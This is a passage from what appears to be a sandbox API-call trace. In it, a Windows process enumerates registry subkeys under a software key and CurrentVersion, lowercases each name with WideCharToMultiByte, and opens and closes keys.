framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x18c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x18b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x18b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x18c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x18b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x18c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0227.054] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x18b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0227.054] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x18b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0227.054] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x18b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x18c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0227.054] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x18b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x18c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0227.054] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x18b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0227.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x18b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x18b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x18b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x18b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x18c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x18b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x18c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0227.055] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x18b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x18c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x18b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x18b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x18c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x18b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x18b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x18c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x18b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0227.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x18b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0227.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x18c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0227.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x18b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0227.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x18b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x18c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0227.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x18b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0227.057] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0xa0) returned 0x0 [0227.057] RegCloseKey (hKey=0x24) returned 0x0 [0227.057] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x18c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0227.057] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0x24) returned 0x0 [0227.057] RegCloseKey (hKey=0xa0) returned 0x0 [0227.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x18b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x18b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x18b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x18b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x18b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x18c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0227.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x18b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x18c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x18b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x18c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x18b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x18b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x18c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x18b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x18b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x18c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0227.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x18b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0227.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x18c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0227.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x18b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x18c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) 